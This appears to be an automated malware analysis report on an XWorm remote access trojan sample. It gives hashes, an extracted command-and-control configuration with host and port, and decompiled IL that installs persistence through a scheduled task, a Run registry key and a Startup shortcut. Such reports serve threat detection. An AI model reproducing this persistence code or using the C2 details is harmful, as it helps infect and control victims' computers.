Symbol Obfuscation Score
|
Hash | Hash Value |
|---|---|
| MD5 | 7f29a03e29a46d47e382d9b77bdcc560
|
| Sha1 | 8e1e889e1645d03d9e9de5f742c9ae621ae14a26
|
| Sha256 | b1081950688c518fa94c24bac590e3c051ca4eb5aea9512fdbde010d43156589
|
| Sha384 | c5c15875e38bf07a2f6b35c02783314cc9c63874f2f95da0fa013647f8b7e91c11eb7ea92b2d10478884b0e5c1af4bfa
|
| Sha512 | 6f6896911a4ffc1cca102579e9eb84ed31f65ee089a93c351412a81d12959c2bfda3ab122300ca958c9ff94784c67211132a5bdd109cb987433ddcde8793fd8a
|
| SSDeep | 1536:Vixgi+MxwSbM78NUqk+gXQ/Zon9b3ZRVgxuV6AWOIXYuDPMXv:krJwJ7Cb8sZon9bpMnOIhPQv
|
| TLSH | DFA4C65472F2E89CE56ACBF714F1A1005DB1BC295E2CA64EB8753FAE4E3708224857F1
|
PeID
|
Config. Field0 | Value |
|---|---|
| Mutex | jqYFB9sAguB3E3Og |
| Hosts | dlpuseragent.localto.net |
| Port | 44434 |
| KEY | craxsrat |
| USBNM | <Xwormmm> |
| LoggerPath | %ProgramData% |
| family | xworm |
|
Name0 | Value |
|---|---|
| Info | PE Detect: PeReader OK (file layout) |
| Module Name | XClient.exe |
| Full Name | XClient.exe |
| EntryPoint | System.Void Stub.LhevbATIq0Lznym39Gh3c16S9eXUeU1YB5XFeIhRh7tOvkvLGGEshdMEVz6u::JPuzmXUNxBzxqYOojd18CqGlv4m7xDhwLj0jVm5wDozKKu9lvnXzf7KvbQKf() |
| Scope Name | XClient.exe |
| Scope Type | ModuleDef |
| Kind | Windows |
| Runtime Version | v4.0.30319 |
| Tables Header Version | 512 |
| WinMD Version | <null> |
| Assembly Name | XClient |
| Assembly Version | 4.18.23110.3 |
| Assembly Culture | <null> |
| Has PublicKey | False |
| PublicKey Token | <null> |
| Target Framework | <null> |
| Total Strings | 438 |
| Main Method | System.Void Stub.LhevbATIq0Lznym39Gh3c16S9eXUeU1YB5XFeIhRh7tOvkvLGGEshdMEVz6u::JPuzmXUNxBzxqYOojd18CqGlv4m7xDhwLj0jVm5wDozKKu9lvnXzf7KvbQKf() |
| Main IL Instruction Count | 338 |
| Main IL | ldsfld System.Int32 CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::TQokH3NcB9amv22ey4zEpoHNFR8L5YsjDVTMtFi1a1CZA0vqjRVlz8QE67zK ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::ARrCkyUBRUkwM73gKhalYdxv31UsEGrOa9bvhJ5u8PPnbgwMgnJPnXWNitBl call System.Object Stub.hUgYcd6Vs4ryHwAjNu1cQWK6NI8p361K7pe3Aea8h8vdE::kUamHhN4gBdMEWbJQyWaza7dHFxwJhBHnsRyXLQchxexz(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::ARrCkyUBRUkwM73gKhalYdxv31UsEGrOa9bvhJ5u8PPnbgwMgnJPnXWNitBl ldsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::BJCWmcOcGQCmHB7Va9Lkd1Ue2ybFOJhVncA6ZzYATVCB1mTEvf1O9NEBBhIt call System.Object Stub.hUgYcd6Vs4ryHwAjNu1cQWK6NI8p361K7pe3Aea8h8vdE::kUamHhN4gBdMEWbJQyWaza7dHFxwJhBHnsRyXLQchxexz(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::BJCWmcOcGQCmHB7Va9Lkd1Ue2ybFOJhVncA6ZzYATVCB1mTEvf1O9NEBBhIt ldsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::fKf5b5K2RsosZUsb6kfw15PDBqxjkgtEEfNlzEQsqV24UWNEkBEO88lpKBtb call System.Object Stub.hUgYcd6Vs4ryHwAjNu1cQWK6NI8p361K7pe3Aea8h8vdE::kUamHhN4gBdMEWbJQyWaza7dHFxwJhBHnsRyXLQchxexz(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::fKf5b5K2RsosZUsb6kfw15PDBqxjkgtEEfNlzEQsqV24UWNEkBEO88lpKBtb ldsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::KfdqLKrbdQpoN5tV4g7eda1oG2C8L0wDjoaZaKhOBzZJygpHFyp5Kl7jjsG8 call System.Object Stub.hUgYcd6Vs4ryHwAjNu1cQWK6NI8p361K7pe3Aea8h8vdE::kUamHhN4gBdMEWbJQyWaza7dHFxwJhBHnsRyXLQchxexz(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::KfdqLKrbdQpoN5tV4g7eda1oG2C8L0wDjoaZaKhOBzZJygpHFyp5Kl7jjsG8 ldsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::PaF8gx3jJ2O2DH4rvyp3G8LEhBPCgoT60UXjEDr2hArO9TvGmquwP9zF7rxZ call System.Object Stub.hUgYcd6Vs4ryHwAjNu1cQWK6NI8p361K7pe3Aea8h8vdE::kUamHhN4gBdMEWbJQyWaza7dHFxwJhBHnsRyXLQchxexz(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::PaF8gx3jJ2O2DH4rvyp3G8LEhBPCgoT60UXjEDr2hArO9TvGmquwP9zF7rxZ ldsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::bYwzlFEkGYRdJsihhx5b95thupVrGkrBhNS0mjLrYsz2E32w12OofBiCQBWx call System.Object Stub.hUgYcd6Vs4ryHwAjNu1cQWK6NI8p361K7pe3Aea8h8vdE::kUamHhN4gBdMEWbJQyWaza7dHFxwJhBHnsRyXLQchxexz(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::bYwzlFEkGYRdJsihhx5b95thupVrGkrBhNS0mjLrYsz2E32w12OofBiCQBWx ldsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::yYSIuop2skAVtLPhVKE2gELfBgesu8FnkAuNBIpstUH7P8PawgA405lYeybK call System.Object Stub.hUgYcd6Vs4ryHwAjNu1cQWK6NI8p361K7pe3Aea8h8vdE::kUamHhN4gBdMEWbJQyWaza7dHFxwJhBHnsRyXLQchxexz(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::yYSIuop2skAVtLPhVKE2gELfBgesu8FnkAuNBIpstUH7P8PawgA405lYeybK ldsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::rw39m3Srap50hbB1SrtaPcnGm5sDugja0tiovLnsE4HFJTsix3hDCCAYPHhn call System.Object Stub.hUgYcd6Vs4ryHwAjNu1cQWK6NI8p361K7pe3Aea8h8vdE::kUamHhN4gBdMEWbJQyWaza7dHFxwJhBHnsRyXLQchxexz(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::rw39m3Srap50hbB1SrtaPcnGm5sDugja0tiovLnsE4HFJTsix3hDCCAYPHhn ldsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::7hCQ5hDVQXOCtF50C6VYttTI2NkZFpZicHhn7IkH0HcL1i9wAZoySFUDWM4S call System.Object Stub.hUgYcd6Vs4ryHwAjNu1cQWK6NI8p361K7pe3Aea8h8vdE::kUamHhN4gBdMEWbJQyWaza7dHFxwJhBHnsRyXLQchxexz(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::7hCQ5hDVQXOCtF50C6VYttTI2NkZFpZicHhn7IkH0HcL1i9wAZoySFUDWM4S ldsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::TzBZF8ud7WL0S6W69SCDf2SpvdPcB0CFCMK0GfUFzCQtpQNDtT7n36Req0P4 call System.Object Stub.hUgYcd6Vs4ryHwAjNu1cQWK6NI8p361K7pe3Aea8h8vdE::kUamHhN4gBdMEWbJQyWaza7dHFxwJhBHnsRyXLQchxexz(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::TzBZF8ud7WL0S6W69SCDf2SpvdPcB0CFCMK0GfUFzCQtpQNDtT7n36Req0P4 ldsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::dPF2RlLlHdb0NuIdPBnfU0wQfwGITgOsSqg379whkHnx69KV6A1sLxdJHjLO call System.Object Stub.hUgYcd6Vs4ryHwAjNu1cQWK6NI8p361K7pe3Aea8h8vdE::kUamHhN4gBdMEWbJQyWaza7dHFxwJhBHnsRyXLQchxexz(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::dPF2RlLlHdb0NuIdPBnfU0wQfwGITgOsSqg379whkHnx69KV6A1sLxdJHjLO ldsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::d5r672kAgzfBAwKTahuk422KhYIctT5afI8yl7Lv7I4rOrWDiTkvn7zVNXQY call System.Object Stub.hUgYcd6Vs4ryHwAjNu1cQWK6NI8p361K7pe3Aea8h8vdE::kUamHhN4gBdMEWbJQyWaza7dHFxwJhBHnsRyXLQchxexz(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::d5r672kAgzfBAwKTahuk422KhYIctT5afI8yl7Lv7I4rOrWDiTkvn7zVNXQY ldsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::bwdtFRbQU8fBdo8mZWRt4LLU4bKvio6UHfnG1eatUCK3QuAWF5MMKGUpAI8Z call System.Object Stub.hUgYcd6Vs4ryHwAjNu1cQWK6NI8p361K7pe3Aea8h8vdE::kUamHhN4gBdMEWbJQyWaza7dHFxwJhBHnsRyXLQchxexz(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::bwdtFRbQU8fBdo8mZWRt4LLU4bKvio6UHfnG1eatUCK3QuAWF5MMKGUpAI8Z leave.s IL_012F: call System.Boolean Stub.0NvjDLDxmy1J9oWsjL4vKVUwEYRduvppWFXthecquahFf::fZTtFZwONx3lK3tPy2pjHe3tGl5CCR4YN49uwia59oG3jMzZuYfQIXxxCuwhOyyLOLXpl2e6mN3qw() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_012F: call System.Boolean Stub.0NvjDLDxmy1J9oWsjL4vKVUwEYRduvppWFXthecquahFf::fZTtFZwONx3lK3tPy2pjHe3tGl5CCR4YN49uwia59oG3jMzZuYfQIXxxCuwhOyyLOLXpl2e6mN3qw() call System.Boolean Stub.0NvjDLDxmy1J9oWsjL4vKVUwEYRduvppWFXthecquahFf::fZTtFZwONx3lK3tPy2pjHe3tGl5CCR4YN49uwia59oG3jMzZuYfQIXxxCuwhOyyLOLXpl2e6mN3qw() brtrue.s IL_013C: call System.Void Stub.LhevbATIq0Lznym39Gh3c16S9eXUeU1YB5XFeIhRh7tOvkvLGGEshdMEVz6u::TUU0fW6TpKcwVVi4u5w0jzdONz9qU0UaEFY2Z4heFY2xITgBzyxLDqJoQzQQ() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Stub.LhevbATIq0Lznym39Gh3c16S9eXUeU1YB5XFeIhRh7tOvkvLGGEshdMEVz6u::TUU0fW6TpKcwVVi4u5w0jzdONz9qU0UaEFY2Z4heFY2xITgBzyxLDqJoQzQQ() ldsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::yYSIuop2skAVtLPhVKE2gELfBgesu8FnkAuNBIpstUH7P8PawgA405lYeybK ldstr \ ldsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::rw39m3Srap50hbB1SrtaPcnGm5sDugja0tiovLnsE4HFJTsix3hDCCAYPHhn call System.String System.String::Concat(System.String,System.String,System.String) stloc.0 <null> ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory() callvirt System.String System.IO.DirectoryInfo::get_FullName() stloc.s V_4 ldloc.s V_4 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_0183: ldloc.0 ldloc.s V_4 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldloc.0 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_019A: ldc.i4 1000 ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_5 ldloc.s V_5 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.0 <null> ldsfld System.String Stub.0NvjDLDxmy1J9oWsjL4vKVUwEYRduvppWFXthecquahFf::6xOMl86Ow3GxUKdAZ2aw6RTcZRTYPf8rHP3IKnbsVd4cSZERTNbo5pcrG2AQHtHZ8K4ywmRDbpr93 call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_01C5: ldstr "schtasks.exe" dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_6 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_01C5: ldstr "schtasks.exe" ldstr schtasks.exe newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_8 ldloc.s V_8 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.String Stub.jE9mJte8u2VeuNLK6k58toiZ8U1StajD1Ni5JrmtnNGLkvulkssXSjjSaik8::OcDYQ0WUW2Mnxhsqj0PWsn78BkbtjCGKpI1LO53kMdt4JzxgO2DmJYYsvnvw() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_022B: ldloc.s V_8 ldloc.s V_8 ldc.i4.5 <null> newarr System.String stloc.s V_13 ldloc.s V_13 ldc.i4.0 <null> ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_13 ldc.i4.1 <null> ldsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::rw39m3Srap50hbB1SrtaPcnGm5sDugja0tiovLnsE4HFJTsix3hDCCAYPHhn call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_13 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_13 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_13 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_13 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) br.s IL_026F: ldloc.s V_8 ldloc.s V_8 ldc.i4.5 <null> newarr System.String stloc.s V_13 ldloc.s V_13 ldc.i4.0 <null> ldstr /create /f /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_13 ldc.i4.1 <null> ldsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::rw39m3Srap50hbB1SrtaPcnGm5sDugja0tiovLnsE4HFJTsix3hDCCAYPHhn call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_13 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_13 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_13 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_13 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_8 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_7 ldloc.s V_7 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave.s IL_0290: call My.v0wf1S1PJRlv07hC0QlTyUSbPL5wKxNucgX5IA4Jwja4yCCfewUDyDKeutN6 My.HyXZ0YixlH8YViWJEEQjKz6wBN0HKgZF1P1aNmgauFBF0l2ORCr3dsq49aJO::3QlOYnU2eOvsrkxgVdMHdzeccwZwKvlwdYVABLjtWcvJnW1LUhBvB3sPDadO() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_9 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0290: call My.v0wf1S1PJRlv07hC0QlTyUSbPL5wKxNucgX5IA4Jwja4yCCfewUDyDKeutN6 My.HyXZ0YixlH8YViWJEEQjKz6wBN0HKgZF1P1aNmgauFBF0l2ORCr3dsq49aJO::3QlOYnU2eOvsrkxgVdMHdzeccwZwKvlwdYVABLjtWcvJnW1LUhBvB3sPDadO() call My.v0wf1S1PJRlv07hC0QlTyUSbPL5wKxNucgX5IA4Jwja4yCCfewUDyDKeutN6 My.HyXZ0YixlH8YViWJEEQjKz6wBN0HKgZF1P1aNmgauFBF0l2ORCr3dsq49aJO::3QlOYnU2eOvsrkxgVdMHdzeccwZwKvlwdYVABLjtWcvJnW1LUhBvB3sPDadO() callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry() callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser() ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Run ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) ldsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::rw39m3Srap50hbB1SrtaPcnGm5sDugja0tiovLnsE4HFJTsix3hDCCAYPHhn call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldloc.0 <null> callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object) leave.s IL_02CB: ldc.i4.7 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_10 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_02CB: ldc.i4.7 ldc.i4.7 <null> call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) ldstr \ ldsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::rw39m3Srap50hbB1SrtaPcnGm5sDugja0tiovLnsE4HFJTsix3hDCCAYPHhn call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldstr .lnk call System.String System.String::Concat(System.String,System.String,System.String,System.String) stloc.s V_11 ldstr WScript.Shell ldstr call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldstr CreateShortcut ldc.i4.1 <null> newarr System.Object stloc.s V_14 ldloc.s V_14 ldc.i4.0 <null> ldloc.s V_11 stelem.ref <null> ldloc.s V_14 stloc.s V_15 ldloc.s V_15 ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_16 ldloc.s V_16 ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_16 call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_16 ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_0350: stloc.s V_17 ldloc.s V_15 ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_11 stloc.s V_17 ldloc.s V_17 ldnull <null> ldstr TargetPath ldc.i4.1 <null> newarr System.Object stloc.s V_18 ldloc.s V_18 ldc.i4.0 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_18 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_17 ldnull <null> ldstr WorkingDirectory ldc.i4.1 <null> newarr System.Object stloc.s V_18 ldloc.s V_18 ldc.i4.0 <null> ldstr stelem.ref <null> ldloc.s V_18 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_17 ldnull <null> ldstr Save ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldnull <null> stloc.s V_17 ldloc.s V_11 ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Stub.0NvjDLDxmy1J9oWsjL4vKVUwEYRduvppWFXthecquahFf::hpARRzD0dUVLi006X5SOPQPmzExDfgkH6QYbMcjACvt0r5OE87ANv7Ckk8RbdVIIEDufqN9yT3rmG leave.s IL_03CF: call System.Void Stub.9agjKwTAzfhAnCuq4svftpGA8P51bdDbBKewIzId7tTnu::0zuYq6VDSSCfz7t6ISVYs3i2LUGfomH0YTkEu9aHIT4ho() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_12 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_03CF: call System.Void Stub.9agjKwTAzfhAnCuq4svftpGA8P51bdDbBKewIzId7tTnu::0zuYq6VDSSCfz7t6ISVYs3i2LUGfomH0YTkEu9aHIT4ho() call System.Void Stub.9agjKwTAzfhAnCuq4svftpGA8P51bdDbBKewIzId7tTnu::0zuYq6VDSSCfz7t6ISVYs3i2LUGfomH0YTkEu9aHIT4ho() call System.Void Stub.0NvjDLDxmy1J9oWsjL4vKVUwEYRduvppWFXthecquahFf::ijbUja11DYPTaSP577aXiAWvUrGwt6fC8fl2olgA2PjL2() ldnull <null> ldftn System.Void Stub.LhevbATIq0Lznym39Gh3c16S9eXUeU1YB5XFeIhRh7tOvkvLGGEshdMEVz6u::jpDufCdZEB3aDsF8Z124EqWEji2vSf2HguPG1EAlSEqUaAQU385VgyWFXToJ() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() ldnull <null> ldftn System.Void Stub.LhevbATIq0Lznym39Gh3c16S9eXUeU1YB5XFeIhRh7tOvkvLGGEshdMEVz6u::vqU72TGF33wDuvMg7jTCQ3asJ6NXadcSOOS6v0RmWhMW5ofBPB6KyJc27WZx() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() call System.String Stub.jE9mJte8u2VeuNLK6k58toiZ8U1StajD1Ni5JrmtnNGLkvulkssXSjjSaik8::OcDYQ0WUW2Mnxhsqj0PWsn78BkbtjCGKpI1LO53kMdt4JzxgO2DmJYYsvnvw() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_0416: call System.Void Stub.LhevbATIq0Lznym39Gh3c16S9eXUeU1YB5XFeIhRh7tOvkvLGGEshdMEVz6u::suHTKaz5PojMbiLoScsRpTs0HoI9mzwJRALW6hxucEeyngMoii87ZhQcmNvA() call System.Void Stub.2gWXKCKDKVd0uxiGWkCWs3B5dz1LLd6cAZgxjs4Q7imh5::bmQ7cZl2gplYJY22XKUIBy7l7CpZlJO115bSoG2XabHjs() call System.Void Stub.LhevbATIq0Lznym39Gh3c16S9eXUeU1YB5XFeIhRh7tOvkvLGGEshdMEVz6u::suHTKaz5PojMbiLoScsRpTs0HoI9mzwJRALW6hxucEeyngMoii87ZhQcmNvA() ldnull <null> ldftn System.Void Stub.LhevbATIq0Lznym39Gh3c16S9eXUeU1YB5XFeIhRh7tOvkvLGGEshdMEVz6u::E6tKwocQhzWtpAr2PdXmBScHe2uXxAxCFObouzPniIjzpCMkpFZn1w2lYfSm() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.LhevbATIq0Lznym39Gh3c16S9eXUeU1YB5XFeIhRh7tOvkvLGGEshdMEVz6u::5st6wAZrvKuKldxTOl9NQN8XlSLVKomyIDoMpbdRHi9N2UadlP0jrzB526fD() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null> |
| Module Name | XClient.exe |
| Full Name | XClient.exe |
| EntryPoint | System.Void Stub.LhevbATIq0Lznym39Gh3c16S9eXUeU1YB5XFeIhRh7tOvkvLGGEshdMEVz6u::JPuzmXUNxBzxqYOojd18CqGlv4m7xDhwLj0jVm5wDozKKu9lvnXzf7KvbQKf() |
| Scope Name | XClient.exe |
| Scope Type | ModuleDef |
| Kind | Windows |
| Runtime Version | v4.0.30319 |
| Tables Header Version | 512 |
| WinMD Version | <null> |
| Assembly Name | XClient |
| Assembly Version | 4.18.23110.3 |
| Assembly Culture | <null> |
| Has PublicKey | False |
| PublicKey Token | <null> |
| Target Framework | <null> |
| Total Strings | 438 |
| Main Method | System.Void Stub.LhevbATIq0Lznym39Gh3c16S9eXUeU1YB5XFeIhRh7tOvkvLGGEshdMEVz6u::JPuzmXUNxBzxqYOojd18CqGlv4m7xDhwLj0jVm5wDozKKu9lvnXzf7KvbQKf() |
| Main IL Instruction Count | 338 |
